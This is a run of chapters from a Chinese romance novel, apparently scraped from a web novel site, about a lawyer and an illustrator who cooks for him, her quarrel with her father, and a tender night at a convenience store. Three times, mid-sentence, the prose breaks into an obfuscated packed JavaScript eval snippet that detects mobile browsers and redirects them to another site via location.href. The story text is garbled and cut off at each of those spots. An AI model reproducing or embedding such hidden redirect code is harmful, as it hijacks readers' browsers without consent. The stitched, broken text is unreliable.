脑子里那些黄色染料根深蒂固去不掉了是吧! 回想起自己刚才说出的那两个字,白清许恨不得天降一道地缝让她钻进去。 但她殊不知,她那盏略带羞赧却佯装镇定的目光,有一种天然不经修饰的动人。 顾锦泽看着,喉间莫名涌上一阵燥热,刻意地轻咳两声,才状似什么都没听到一样,把这个话题掀了过去:“你叫我名字就行。” 白清许:“哦......好。” 两个人这才重新抬脚往外面走。 这份口出狂言的尴尬,在只有两个人的车厢里,蔓延了整整一路。 直到到了目的地,这份尴尬才渐渐消散了些。 原因无他。 只是因为超市这个地方,真的太有人情味了。 看着你来我往的人间烟火,你的心会不知不觉地放软下来。 他们去的,是星光天地自带的一个大型商超。 顾锦泽推着购物车,白清许走在他身侧,俊男靓女站在一起,看起来默契又登对。 实际上,两个人也是默契得很。 白清许作为主要的决策者,要去哪个区域买东西,什么时候转弯,什么时候停顿,从未刻意对顾锦泽说过,但他就是莫名能跟上她的步伐。 经过了解,白清许知道,其实,顾锦泽并不偏爱西餐,相反,他更喜欢中餐,并且口味清淡,比较喜欢吃食物的原汁原味。 “以后晚上做一荤一素就行。”顾锦泽交待道。 他胃口不大,还非常注意保持身材,一荤一素,营养够了,不会浪费,她准备起来也不会太累。 “好,”白清许应了下来,“要不再加一道汤吧,正好天也渐渐冷了。” “嗯,不太麻烦的就可以。” “那今天晚上做西湖牛肉羹可以吗?你受得了胡椒的味道吗?” “可以。” 两个人都是利落爽快的性子,所以,很快就采买好了食材。 回到家,白清许直接进了厨房,顾锦泽则先去卧室换了一身家居服,换好之后,才走到厨房,边挽起袖子边问:“需要我帮忙吗?” 白清许:“不用,你忙你的,等会儿好了我叫你。” 一边说着,一边用余光扫了一眼他的身影。 这会儿,他换上了一件白色卫衣和黑色休闲裤,卫衣是低领设计,一览无余地露出他修长的脖颈曲线,光影糅合下,他的喉结利落地凸着,有一种难言的性感。 白衣黑裤搭在一起,更是显得他身高腿长,气质出众。 白清许看着,觉得他的美色可能会耽误自己的做饭进程,于是二话不说,开始赶人:“你出去吧,你在这儿,会妨碍我的进度。” 说完,又突然想起来她是来钓男人的,又不是来赚钱的,管什么做饭进度啊!速度不应该越慢越好么! 这样一想,她又赶紧换了个措辞:“或者,你别动手,就站在那儿,陪我聊天,解解闷。” 顾锦泽没想到自己有一天竟然能成为一个陪聊,但还是应了下来:“好。” “我听说,”泡上木耳之后,白清许带上手套开始切山药,“蓝仲是星辰的合作律所?” 顾锦泽:“嗯,负责旗下作品的版权和商业。” “这样啊,”白清许应了声,“对了,那你看过那部星辰出品的漫画吗?就是以廖先生和廖太太的故事为原型的那部。” 顾锦泽:“经手过,没细看过。” 白清许:“哦......” 有点失落的语气。 毕竟,她本来还想借问他对这部漫画的看法,试探一下他对女追男的态度。 “白清许。” “嗯?” “你今天去那里是......” “哦,是这样,[见我]正在筹备一部新作品,美食番,所以邀请我过去画一些素材。” “听廖总聊过几句,叫什么月亮.....” “月亮都晒屁股啦!” 这剧名像是有魔力,每每念出,尤其是念到末尾时,你的尾音会忍不住上扬,嘴角和眼角更是。 跟当初《长大辛苦了,小朋友》的名字简直是相得益彰,都有一种能带给人慰藉的神奇力量。 顾锦泽明显也被她上扬的尾音动听到,却欲盖弥彰地评价:“这名字挺有意思。” 白清许听了,弯眉一笑:“是啊,我跟你说,这个剧的编剧真的超级超级有才,写的台词超级戳心,然后整个制作团队的创作氛围也特别好,跟这样的人共事,我一点都不好奇为什么只有他们才能制作出具有代表性的国漫......” 厨房的屋顶,嵌着一盏暖黄色的原型吊灯,她就这样,整个人沐浴在柔和的灯光里,站在他的私人领地,一边为他做羹汤,一边说着自己那些真实又生动的感受。 顾锦泽听着,感觉自己在高压工作下紧绷了一天的神经,莫名就放松了下来。 感觉,她的存在像是一计良药,有舒缓疲劳的功效。 他看着她漂亮精致的侧脸,明显地感到,自己心中固守的一些阵地,正在逐渐失守。 这边,是心房失守,至于那边,色香味俱全的菜品已经出锅。 白灼虾,荷兰豆山药木耳清炒,再加上一道西湖牛肉羹。 荤素搭配得当,并且都是低脂高蛋白。 白清许把菜品按照颜色,依次分装在不同风格的餐盘里。 要不说艺术家就是艺术家呢,这随便一摆就像是幅山水画。 顾锦泽欣赏着她的佳作,正想夸奖几句呢,忽然听到她说:“饭做好了,那我就先回去了。” 顾锦泽:“???” “白清许。”看她真往外走,顾锦泽叫住她。 “嗯?” “坐下来一起吃。” “啊?” “吃完我送你回去。” “不用不用,太麻烦了,现在晚高峰也过了,我打车走就行。” “你要是嫌这个选择麻烦,我给你个不麻烦的选择。” “嗯?” “你自己选——”顾锦泽当真给她选择,“是我先送你,回来吃凉了的饭,还是你坐在这儿,看着我吃完再走?” 白清许:“......” 谈判起来,她哪是对面这个律所金字招牌的对手。 “一起坐下吃吧。”顾锦泽瞄准时机,一击即中。 白清许:“好。” 餐桌上,看顾锦泽动筷,白清许有些忐忑地问了句:“还和你胃口吗?” 顾锦泽笑着点头:“嗯。” 白清许也随他笑了下:“那就好。” 之后,两个人就没有再多说话,安安静静地吃完了一顿晚餐。 饭毕,顾锦泽直接把洗碗这样的活直接扔给了洗碗机,两个人都乐得清闲。 月色不知不觉间已经爬上了树梢,夜也渐深,顾锦泽拿着车钥匙,送她回家。 在玄关换鞋的功夫,白清许忍不住抬眼重新打量了一下他家的布局。 其实,她上次过来就注意到了,他家是个大复式,客厅与走廊的衔接处,有一个白色的旋转楼梯,蜿蜒而上。 与某部电影里的浪漫场景交相辉映。 因此,走出家门,两个人正准备坐电梯下去的时候,白清许想到刚才看到的那一幕,忽然叫他:“顾锦泽。” “怎么了?” “你看过《罗马假日》吗?” “罗马假日?” “嗯,是一部电影,奥黛丽赫本演的。” “听说过,”顾锦泽实话实说道,毕竟那么有名,“不过没完整看完过。” “哦。” “怎么了?” “没事,我就是突然想起来了,随便问问。” 她在欲盖弥彰,顾锦泽一耳就听出来了。 于是,垂眸,去寻她的眼睛,想要找个答案。 连廊灯光很亮,她长发垂在肩后,穿着一身黑站在那里,有一种气场全开的洒脱帅气。 但偏偏,望向他的那一双眼眸,总是太过柔情似水。 在这一刻,顾锦泽忽然有些明白,她那份与众不同是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白清许学着应如是的语气:【好哒!】 结果,答应得爽爽快快,实践得磕磕绊绊。 直到临睡前,白清许依然没拿把那句晚安给他发过去,总觉得太过突兀,也太过暧昧。 最后,想了想,她决定采用迂回路线,于是,用一句废话开了头:【你到家了吗?】 早已经到家的顾锦泽,看到她的消息,把眼前的电影暂停,回复道:【嗯。】 白清许:【那就好。】 发过去之后,白清许本纠结着下句话该说什么,结果,没想到顾锦泽主动问她:【以后我到家的话,需要跟你说一声吗?】 白清许:【嗯,这样我比较放心。】 顾锦泽:【好,知道了。】 他句句都有回应,这无疑给了白清许更近一步的勇气,于是,她没选择结束话题,而是继续跟他唠家常:【那你现在干嘛啊?】 顾锦泽很快回过来:【吃瓜。】 白清许:“???” 她看到了个什么东西? 一向矜持稳重的精英律师竟然还有会吃瓜? 这种感觉,就像是高岭之花瞬间跌下了神坛,让人有一种特别想偷窥的恶趣味。 于是,白清许一下子来了兴致。 八卦之心一蠢蠢欲动,也顾不上什么害羞不害羞的了,打字的手指快到恨不得能飞起来:【谁的谁的!!!】 顾锦泽低头,看到这句话后面跟着的三连感叹号,微微蹙了下眉,心想为什么他吃个瓜都能让她这么兴奋。 并且这瓜多少跟她还有些联系。 不过,虽然心里费解得很,但他还是尽量感同身受着她剑走偏锋的小心思,像个小学生一样,瞬间坐端正了起来,垂眸,双手拿着手机,一字一句,认认真真的回: 【一个西的,一个哈密的。】 9. 微醺 白清许在心里过了一遍这则对话,觉得自己真的被这个深沉稳重的大男人给可爱到了。 她躺在床上,看着他发过来的这条消息,笑得嘴都合不拢。 顾锦泽这人就有些无趣,丝毫没捕捉到自己身上的笑点,一本正经地问她:【明天还去[见我]接你吗?】 白清许:【嗯。】 顾锦泽:【那明天见。】 白清许:【好,明天见。】 发过去之后,白清许又给他发了一句:【晚安。】 那边很快回复过来:【晚安。】 白清许看着看着,没忍住,在床上打了个滚。 这天底下怎么会有这么幸福的事情啊! - 睡了一觉,这份幸福感也丝毫没有减弱,反而是安安稳稳地在延续。 这天,顾锦泽下午去了趟法院,结束后就直接去了[见我]接人。 因为时间比较充裕,所以白清许做了一道比较费时的番茄牛腩,除此之外,还凉拌了一道老醋蜇头,和一道透亮水灵的菌菇汤。 季节在由秋往冬过渡,天气也在逐渐转冷,在这样的日子里,能在餐桌上享用一碗热气腾腾的鲜汤,别提有多享受了。 顾锦泽自然是享受得很,喝了大半碗,抬眸去看她,正想问问一道素汤怎么能被她炖出这种令人欲罢不能的鲜味,结果,还没等他把话问出口,放在旁边的手机便先行响了起来。 听到手机响,白清许也本能地抬起了眸,然后就看到他原本舒展的眉头,很明显地紧蹙了一下。 “我接个电话。”顾锦泽说着,拿起手机去了客厅的落地窗前。 从白清许这个位置看过去,只能看到他的侧脸。 不知道是谁的电话,但她很明显地捕捉道,他在电话接通的那一刻,神情骤然变得严肃起来,气质冷峻得,有种拒人千里的漠然。 这则通话持续了两三分钟才挂断,顾锦泽再返回到餐桌的时候,语气已经恢复了平日里的温和平静,仿佛刚才那个令他表情骤变的事情不曾发生过一样,温温柔柔地叫她:“白清许。” 她仰起眸,嘴巴咬着筷子尖,鼻尖溢出一个懵懵懂懂的:“嗯?” 灯光下,她纤长的脖颈,洁白的贝齿,以及浸着水光的红唇,落入顾锦泽眼中,全部演变成勾人的利刃。 虽然,她是担心他的状态,没心情吃饭,才无意识地做出了这样的动作,根本不存在什么蓄意勾引。 但顾锦泽还是感觉自己被什么打着了一样,不自在地别了下目光:“我临时要去国外出差一个星期,所以你明天不用来了,正好,你也可以休息一周,这一周辛苦你了。” 其实,白清许从来没有把做他的私厨当成是工作,所以她并不是很想休这个假。 不过,她没有多问,只是淡淡道:“好,我知道了,那等你回来,你再联系我。” 顾锦泽落在她身上的目光顿了顿,沉默片刻才应下来:“嗯。” 不知该说两个人太有默契还是别的什么原因,顾锦泽一走,白清许就无缝衔接地忙了起来。 上个月,她的工作室参与了一个新锐设计师展览提案的竞标,今天收到消息,说是提案通过了,这位设计师最新一季的作品展将交由她的工作室进行策划。 与此同时,衔青新系列的稿子也没有任何悬念的通过,这次,她将中国传统工艺融入到了自己的设计灵感中,为了将设计的成品与传统工艺完美结合,白清许去南方出了趟差。 再加上[见我]的事情,她忙得可谓是脚不沾地。 但她一点也不娇气,不说苦也不喊累,而是有条不紊地把所有工作一件一件的完成。 只不过,工作不是你自己完成得好,就能万无一失。 尤其是策划展览这样的工作,从创意设计到成功落地,中间不知道要经过多少人的手,难免出纰漏。 周五这晚,本来场景搭建就要完成了,结果有个人因为粗心,把设计图纸给看反了,以至于所有工作都要推翻重来。 展览在即,那位名声大噪的设计师自然是大发雷霆,白清许作为总负责人,没有推卸责任,诚恳地接过他的所有指责。 在设计师走后,她跟员工一起,加班加点地把工作完成好。 这一加班,直到凌晨。 不过,万幸的是,第二天是周末,她能暂缓一口气。 第二天,白清许睡醒便回了家,想到哥哥白清让和她的小侄女白念笙今天都会回来吃饭,所以她把自己在工作上的高压心情调整好,高高兴兴地开车回了家。 到家的时候,她哥还没来,就白令湛一个人在厨房忙活着。 她放下车钥匙,挽起袖子便走了过去,笑眼盈盈道:“爸,我来帮您吧。” 白令湛没有热情回应,只是沉默地侧过身,给她让出了一点空间。 “哥什么时候到啊?”白清许跟他唠着家常。 “应该快了,”说完,白令湛用余光看了她一眼,然后,用状似无意的语气提起了一个新话题,“我晚上跟张局约了个饭,你过去跟我见见。” 闻言,白清许正在摘菜的手猛地一顿,然后,用尽量轻松的语气说道:“我又不打算从政,我跟人家见什么见。” 白令湛语气沉肃,有种不容置喙的威严在:“多认识点人,对你没坏处。” “我说,您就别操心我的事了,”白清许现在只想赶紧把这个话题揭过去,“再说,我做这一行,认不认识都没差。” “你那破工作室,”白令湛没好气道,“还真准备开一辈子?” 他说者本就有意,更别说她身为一个听者。 就这样,一个破工作室,将两个人之间将将维持的平衡全部打破。 “什么叫破工作室?”白清许瞬间急了,语气自然也带上了锋芒,“我用它养活了自己,怎么就叫破工作室了?” 白令湛目光直视着她:“你以为你一辈子都能有这样的好运?” “好运?”白清许觉得用这个词来形容她今天拥有的一切真是讽刺得很,她抬眸,看着白令湛,不顾父女情面,不屑地冷笑了声,但语气听起来倒是无波无澜: “爸,你把我能走到今天,想得太理所当然了。” “我觉得我能拿到那样大的单子,是好运?” “那我告诉你,根本不是,那是我用加班加点的努力换来的。” “别人从小学习艺术,但我不是,你知道我在国外留学的时候,为了不比别人差,为了赶上我身为一个后来者的差距,为了完成一份令教授满意的作业,我有时候甚至晚上三点睡早上六点起。” 白令湛一听这话,脾气猛地一激,声音瞬间拔高了不知道多少分贝:“这是你自己选择的路,你有什么可抱怨的!” 白清许直视着他,丝毫不弱地与他对峙:“我抱怨过吗!我有跟你们抱怨过吗!如果不是今天你先说,我可能跟你说这些么!” “谁让你去受这些苦的,你明明可以过得轻松一点,你自己非要去吃苦,你怪谁!” “我怪谁?我怪我自己!”说着,白清许语气渐渐冷静了下来,“爸,我告诉你,我比谁都希望,我可以做个安于现状的人,我可以没有这么多天马行空的想法,或者我可以任凭这些想法淹没,我要是能够做到,我在你们的羽翼下,我该多幸福多轻松,可这不是我想要的。” “我有梦想,你不让我去实现,我会遗憾!我这辈子都会抱着遗憾度过!” “你的梦想就是二十七了还半瓶子晃荡,”白令湛看着她,不留情面道,“给你铺好路的大好前程你不要,给你介绍的相亲对象你也不去见......” “又来了又来了,您要是再说这个话题,我现在转身就走。” “你走就走,我不拦你。” 下一秒,只听啪的一声,清亮的油菜被猛地扔入水池,溅起一朵不小的水花。 扔完之后,白清许便甩了甩手上的水,头也不回地往外走了。 “白清许!你出了这家门就别再回来了!” “不回来就不回来!” 她刚迈出门,白清让就到了。 他一眼就看出父女两人这是又闹不愉快了,于是,赶紧走到白令湛身边,宽慰道:“爸,您说您也是,天天为这个跟她置什么气,她喜欢什么就让她去干得了,你非要让她跟你一样干什么?” “您要是就她一个姑娘,我尚且还能理解您迫切地想要让她找一个安稳的工作,拥有一个稳定的伴侣。” “但有我在,您担心什么?” “她工作室开不下去了,我养。” “还有相亲这事,退一万步说,即使她真跟您挑的金龟婿结了婚,那男人能不能护她一辈子还不好说,但我能护她一辈子,血缘这东西,谁都斩不断。” - 那句话怎么说来着。 所有四两拨千斤的轻松姿态,背后都是数不清的艰辛。 斜杠青年,对于那些做什么都是三分钟热度的人来说,像是一个保护罩。 但对于那些真正把自己各方各面都经营得风生水起的人来说,这个称号背后,是实打实的付出。 唐若冰曾评价过白清许一句话: 说你脆弱你也是真脆弱,边学边哭。 说你坚强你也是真坚强,边哭边学。 她外表看着御姐,尤其是跳舞的时候,更是帅到能把女生给掰弯。 但唐若冰认识她这么多年,知道她其实心里柔软得很,就是个想把一切做好,让自己、让爱她的人都满意的小小孩。 尤其是在意大利留学那几年,她有时候实在觉得熬不下去了,就会给她打一个电话,说说她的近况,然后,说完,也不需要她安慰,大哭一场,很快便能自行痊愈。 因为这是她自己选择的路,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265971|166566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她觉得再苦再难,她都没有资格去抱怨。 面对未来,她有勇气,面对自我,她有傲气。 她有不菲野心,也有万丈柔情。 骨子里的冒险因子,脑海里的激情才华,都是她之所以成为她的重要组成部分。 你把她禁锢在一个工位上,对她来说是一种扼杀。 但偏偏,她的这个梦想在与高收入挂钩的同时,也与高风险相挂钩。 毕竟,在上一辈人心中,做什么都没有铁饭碗香。 这种时代造成的认知差异,被搅和在出发点是为你好的亲情里,难辨出个绝对的对错。 唐若冰到达星空餐厅的时候,白清许正抱着酒杯,趴在桌子上,看着沉沉的夜色发呆。 过了会儿,程千帆也过来了,唐若冰看到她,抬手招呼了声:“千帆姐。” 程千帆抬脚走过来:“诶。” “你过来,那书书呢?” “没事,我妈看着呢。”说完,在白清许身边坐了下来。 左右两大“护法”一来,白清许瞬间就变得特别委屈,小嘴一撅,柔软得很:“我那么那么努力,我就希望得到他的认可......我那么辛苦地往前跑,生怕被别人比下去......我回国后开那个工作室,我再艰难,我也没有跟他要过一分钱......” “可是——”她抬眼看着她们,“我只有放弃自己的梦想才能成为他的骄傲,是吗?” “不是,乖,”平日里雷厉风行的唐若冰,看向她的目光却柔和得很,“你永远是我们的骄傲。” 程千帆更会对症下药:“也永远是唐纳德老先生的骄傲。” 果然,白清许听了,憨憨地笑了下。 “行了,”唐若冰看了眼时间,跟在掐什么点儿一样,垂手把那个透明的玻璃杯从她手中拿了出来,“你这都喝了多少了,度数再低也顶不住你这么喝,走了,该回家了。” 回家的路上,白清许这个小醉鬼自然是被放进了宽敞的后座,程千帆坐在副驾驶,看着唐若冰开的方向,直觉不对,提醒道:“你是不是开错了,这不是往她家开的方向啊?” “怎么?”唐若冰冲她挑了挑眉,“我还能把她卖了不成?” 十来分钟后,车子停在了一家便利店前,唐若冰把车挂上P挡,对程千帆说:“这地只能临时停车,你在车里坐着,以防万一。” 然后,就拉着白清许下了车。 白清许这姑娘酒品是真好,当然,酒量也好。 刚才那点酒,根本不够她醉的,顶多算个微醺,只不过,微醺带来的困意倒是真的。 她是真的困,以为唐若冰停车是终于把她带回了家,于是信任地倚在她怀里,连眼睛也懒得睁,就跟她走。 直到感受到一阵骤亮的光,她才不舒服地睁了睁眼,唐若冰把她拉到便利店的椅子上坐下,跟她解释:“你姐们我太饿了,你先在这儿休息会儿,我吃个关东煮就带你走。” 白清许点点头,身子往桌子上一趴,安安生生地等她。 结果,没想到唐若冰趁她不注意,直接就闪出了便利店,给某人拨了一通电话后,就悄无声息地回到了车上。 “你这什么情况,你就把她扔在便利店?”程千帆看她上车,眼睛里写满不可思议。 “你懂什么,我这是在做好人好事。”唐若冰一边说着,一边再次跟电视台的朋友确认了一下电视节目录制结束的时间。 那档职场节目的最后一期,已经于一个小时前录制完毕。 从电视台到这里,也就半个小时的时间,再加上其他各种各样的因素,一个小时应该正正好。 果不其然,如她预料的那样,不到五分钟,她便看到一辆黑色的保时捷停在了路边,然后,从上面下来了一个大步奔跑的高瘦身影。 唐若冰笑了下,这才放心地驾车离开。 “白清许!” 便利店里,一道熟悉清沉的嗓音,蓦地响了起来。 白清许原本是趴在桌子上的,听到有人叫她,她才直起身子,循着声音的来源望过去。 然后,一眼便定了心。 他站在她望过来的视线里,以手抵着门,像是风尘仆仆专为她赶来的一位旅人,清冷莹白的月光跟随他开门的幅度温柔降落,在他身后氤氲成一片柔和朦胧的雾。 深秋的夜,京溪城已经很冷,尤其是他这一推门,冷空气便见缝插针地溜了进来。 但不知为何,她心里忽然就变得暖洋洋。 他站在那里,不同于往日的西装笔挺,而是穿了一件高领的黑色毛衣,外面套着一件短款的皮衣夹克,一双修长笔直的腿包裹在光滑垂坠的黑色西裤里,脚上则穿着一双黑色亮面的切尔西靴。 潇洒随性,又浪漫绅士。 这一刻,她忽然感觉,他的肩头,特别适合放一枚月亮。 ——作为抵达的勋章。 10. 微醺 他步履坚定地朝她走近,五官轮廓在光影的修饰下显得格外优越。 日思夜想的身影就这样做梦般地出现在了眼前,白清许眨着眼睛确认了好几番,确定是他之后,才克制不住自己心底的惊喜,声音雀跃着问:“你回来了?” 她没问“你怎么来了?”,而是问“你回来了?”,这话里的熟稔,若是没有温情的相处打底,很难这般自然地从一个人口中说出。 顾锦泽走到她身边,停下急切脚步,也落下温柔目光:“嗯。” 白清许还不知道他是为她而来,跟他解释:“我在这儿等我朋友,好巧啊。” 顾锦泽朝周围看了一眼,问她:“你朋友呢?” 白清许:“她去买关东煮了。” 闻言,顾锦泽朝卖关东煮的摊位看了一眼。 灯都关了,黑压压一片。 他转移目光的时候,白清许也转移了一下目光,只不过她转移的目的地是自己的手机。 是唐若冰发来的消息,说她临时有工作所以先开车走了,让她自己自生自灭。 白清许一看,气得直接从高脚凳上站了起来,忍不住吐槽:“我去!她竟然抛下我自己先走了!” 因她突然站起的动作,原本遮挡在长裙下面的双腿瞬间裸露在外,顾锦泽一垂眸,不知道眼尖地看到了什么,只知道他眉头明显地蹙了一下,然后,转过身就往大门的方向走去了。 白清许:“???” 这什么意思,他也要抛弃她走了? 那她今天,着实有点太惨了吧,跟爸爸吵架,然后又被两个人同时抛弃。 想到这儿,白清许悻悻地在座位上坐了下来,拿出手机,准备打个车回去。 她是在定位的时候,才意外发现自己竟然在顾锦泽家附近的便利店。 她拿着手机,看着这个巧合到令人匪夷所思的地址,还没琢磨出唐若冰为什么会把她丢在这里,就听到耳边有人喊她。 是折返的顾锦泽。 和刚才离开时不一样的是,他手里多了一个白色的包装袋,看来是去买东西了。 白清许不知道他这一去一返是什么意思,茫然地盯着他:“嗯?” 顾锦泽在她面前半蹲下来,抬眸对上她的目光,征询着她的意见:“我能碰一下你吗?” 白清许没听懂:“嗯?” 顾锦泽:“你脚踝磨破了,我给你处理一下伤口。” “啊?”脚踝磨破了? 白清许一点都没有感觉到,听到他这么说才弯腰一看,果然,脚后与高跟鞋接触的地方破了皮,泛着红。 这双高跟鞋是她第一次穿,再好的高跟鞋,也难免要经历一个磨合的过程。 看他半蹲在自己身前,白清许有些不好意思:“不用了,我自己来就好。” “别动。”他温声制止住她的动作,“你穿着裙子,弯腰不方便,如果你不介意,我帮你。” 白清许看着他宽阔平直的背,遵从自己的内心的想法,跟他说:“不介意。” 顾锦泽这才抬手,握着她的脚踝,将她的高跟鞋脱了下来。 深秋的天,北方城市冷意已经很甚,但白清许这人向来是要风度不要温度,上身还知道在连衣裙外面套一件大衣,下面却直接光腿,从小腿肚到脚踝那一截肌肤,跟不怕冷似的,细伶伶地晃荡在在冷风中。 她今天穿了一双裸色的高跟鞋,白皙纤瘦的脚踝尽数裸露在外,磨伤的地方泛着淡淡一层红,与白皙的肤色一对比,惹人怜得很。 看到他包装袋里的东西,白清许轻轻叫了那个忙碌的身影一声:“顾锦泽。” 他淡淡应了声:“嗯。” 白清许:“你给别的女生贴过创可贴吗?” 闻言,顾锦泽正在拆湿纸巾的手一顿,沉默片刻,如实道:“没有。” “那你为什么给我贴?” “因为你脚踝磨破了。” 白清许:“......” “那别的女生脚踝没有磨破过吗?”她也不知道自己哪里来的轴劲儿,偏要在这个问题上打破砂锅问到底。 顾锦泽:“我没注意过。” 白清许:“哦......” “哦”完,气氛莫名陷入了一阵诡异的沉默。 正当两个人静默以对的时候,一则手机提示音忽然响了起来,见缝插针地打破了这份尴尬。 白清许抓住这个巧妙的时机,拿出手机,一看,是白清让发过来的微信: 【爸今天不是故意那么说你的,他昨天偷偷去工作室看你,看到你受委屈了,他想帮你,但又无能为力。】 【他之所以那么想让你从政,是因为他能助你一臂之力。】 【其实,他这几天都睡不着,天天晚上去你楼下守着,看你的灯一直亮到很晚,不想你这么辛苦才说出这样的话,你别生他的气,哥哥帮你跟爸爸说。】 【我妹妹,是天底下最好的。】 【凭自己的心意去活,不管发生什么,哥哥给你善后。】 一条条,一字字,皆是深情意,皆是真情浓。 她又何尝不知道,她多幸运,才能出生在这样一个家庭。 虽然白令湛确实不能称作是开明的父亲,可那份笨拙又不善言辞的父爱,从来没有缺席过她的成长。 后来,她自己开始与更大的世界交手,寻找自己,并成为自己。 虽然这个自己和白令湛希冀她成为的自己有冲突,但在她的再三坚持下,他还是放手,让她去了。 如今,就因为他那一句随口的问话,她就这样和他吵了起来。 想到这儿,她瞬间觉得自己差劲得很,又懊悔又惭愧。 可亲人不就是这样么。 就如现在,白令湛在与她相隔半个城市的家里,回想今日的吵架,他心里丝毫没有觉得自己正确的底气,反倒是在后悔,自己为什么要当着她的面说出“破工作室”四个字。 为什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265972|166566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要这样刺伤她一手搭建的梦想之塔。 他的女儿多优秀。 出身优渥,有无数臂膀可以倚靠,却硬生生自己走出了一条无人可复制的路。 他站在厨房,看着她手绘出来的一部部作品,铁骨硬汉,也难免泛起阵阵柔情。 跟别说心思本就柔软的白清许。 她看着手机上的一条条信息,眼睛不知不觉就变得模糊了起来,她轻轻吸了下鼻子,连带着身体也微微颤了下。 顾锦泽弯着腰,专心用湿纸巾给她擦拭着伤口周围的皮肤,哪里会读出她汹涌的情绪。 他还特意买了含有少量酒精的湿纸巾,想着正好可以兼具清洁和消毒两个功效。 看到她脚踝猛地往后缩了一下,顾锦泽还以为是酒精刺激到了她,立马放柔了动作,像哄小孩一样,温声哄她:“乖,不要闹啊,马上就好。” 白清许看着他半跪下来的身影,想到刚才看到的一字一句,眼底控制不住地再次涌上来一股热意,她紧抿着唇,反驳着他刚说出口的话:“我不乖......我特别坏......” 听出她话里的哭腔,顾锦泽这才抬眸,看着她朦胧的眼睛,嗓音落得极轻,怕惊扰她心底的情绪似的,问她:“谁说你坏了?” 白清许:“我自己......” “那你跟我说说,”顾锦泽一边耐心聆听,一边温柔问询,“你哪儿坏了?” 他一边问着,一边利落地撕开了创可贴,往她伤口处贴。 白清许看着他温柔的动作,终究是不想在他面前太失态,于是,努力收敛住眼底涌上来的热意,问他:“我说了之后呢?” 顾锦泽:“嗯?” 白清许像个怕挨批评的小孩子,讷讷看着他问:“你会骂我吗?” 没想到她是在顾虑这个,顾锦泽沉沉笑了一声,再开口时,语气是从未有过的温柔,“不骂你,我夸你,把那些说你的不好的都推翻,好不好?” 白清许听了,傻傻点头:“嗯。” 说完,她又轻轻吸了下鼻子,用雾蒙蒙的眼睛,定定望着他,一板一眼地跟他提要求:“那你夸我的时候,要叫我清许宝贝。” 顾锦泽:“…………” 她的要求这样出其不意,但他还是顺了她的意:“好。” 白清许:“那你先叫一声我听听。” 这话,是她弯着腰,将嘴唇贴在他耳边说的。 因她突然的倾身,她身上那股温热好闻的香味就这样温柔又霸道地抢占了他的嗅觉感官。 那一阵淡淡清酒香,清冷魅惑,不染浊尘。 蓬松细软的长发自她肩头滑落,拂过他晾在空气中的手背,痒痒的。 顾锦泽仰头看着她。 灯光下,她肌肤白皙清透,红润饱满的唇,浸着水光。 顾锦泽看着,呼吸莫名停顿了一瞬,然后,将目光悄无声息地上移,最后,终于定在她那双干净到让人不忍心说“不”的眼睛。 11. 微醺 面对这只醉眼朦胧、呆呆看着他的小醉猫,他哪儿忍心说不啊。 于是,喉结滚动了下,语气里带着连自己都没意识到的妥协和宠溺,轻轻开口:“清许——” 说完,许是从没这样亲昵地叫过人,所以他不自然地顿了一瞬,才接上后两个字:“宝贝。” 可他怎么也不会想到,正是这份停顿,让白清许蓦地想起了一位故人。 那时候,她奄奄一息地躺在病床上,因为气息不足,叫她的时候总会这样停顿一下:“清许——宝贝。” 回忆涌来时,向来不打商量。 似天降暴雨,瞬间倾盆而下,把你原本晒干的遗憾,浇得措手不及。 思念一作祟,她坚硬的铠甲也随之卸下,然后,像终于找到一个发泄口一样,趴到他肩上,哭了起来。 顾锦泽在男女关系这方面向来淡漠得很。 就如徐滨松所说,这样一个钻石顾老五,对他有想法的女人海了去了,但他偏偏,太过冷漠自持。 不过,这次,他没推开,而是力道温柔地把她搂在了怀里,轻抚着她的背,像一朵流浪至此的云,恰如其分地托起了她的悲伤。 等她哭声渐息了些,才柔声问:“心里委屈是不是?” 她在他肩上轻轻点头:“嗯......” “没事,都会过去的,”他轻声安慰着,“想哭就哭吧,我陪着你。” 他的温柔太溺人,白清许沉浸其中,越来越得寸进尺,很快,就不满足于抱着他的肩了,侧过头,鼻尖忍不住地往他脖颈处蹭。 这近在咫尺的动作,终于让顾锦泽察觉到了她体温的异常。 “白清许。”他嗓音蓦地一沉。 都这会儿了,她哪儿听得出来他音色里的端倪,脑子晕乎乎、语气娇俏俏地纠正他:“嗯~要叫我清许宝贝!” 顾锦泽:“......” “好,清许宝贝,”他无限度妥协道,“你是不是发烧了?” “嗯?”白清许鼻音一扬,然后,用不知道自己哪来的笃定,摇着头说,“没有。” 说完,便狠狠吸了下鼻子。 顾锦泽听到,把她从自己怀里拉了出来,看着她,眼角和鼻尖都是红彤彤。 一摸额头,确实是比他的手背要热。 顾锦泽:“......” 还好没信她的鬼话。 于是,也不让她抱了,站起来跟她说:“起来,我们回家了。” 